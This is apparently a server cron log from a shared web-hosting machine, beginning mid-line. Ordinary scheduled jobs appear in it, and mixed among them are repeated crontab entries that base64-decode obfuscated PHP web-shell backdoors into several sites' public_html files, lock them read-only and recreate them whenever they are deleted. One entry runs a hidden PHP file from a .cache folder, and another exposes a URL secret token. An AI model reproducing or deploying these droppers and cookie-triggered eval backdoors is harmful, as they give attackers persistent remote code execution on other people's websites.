VJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:12:01 medusa CROND[26777]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 04:12:01 medusa CROND[26779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:12:01 medusa CROND[26784]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:12:01 medusa CROND[26785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:12:01 medusa CROND[26786]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:12:01 medusa CROND[26787]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:12:01 medusa CROND[26790]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:12:01 medusa CROND[26788]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:12:01 medusa CROND[26792]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:13:02 medusa CROND[28353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:13:02 medusa CROND[28360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:13:02 medusa CROND[28395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:13:02 medusa CROND[28396]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:13:02 medusa CROND[28397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:13:02 medusa CROND[28402]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:13:02 medusa CROND[28403]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:13:02 medusa CROND[28405]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:13:02 medusa CROND[28404]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:13:02 medusa CROND[28406]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 04:13:02 medusa CROND[28407]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:13:02 medusa CROND[28409]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:13:02 medusa CROND[28410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:13:02 medusa CROND[28408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:14:01 medusa CROND[30027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:14:01 medusa CROND[30035]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:14:01 medusa CROND[30036]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:14:01 medusa CROND[30037]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:14:01 medusa CROND[30039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:14:01 medusa CROND[30040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
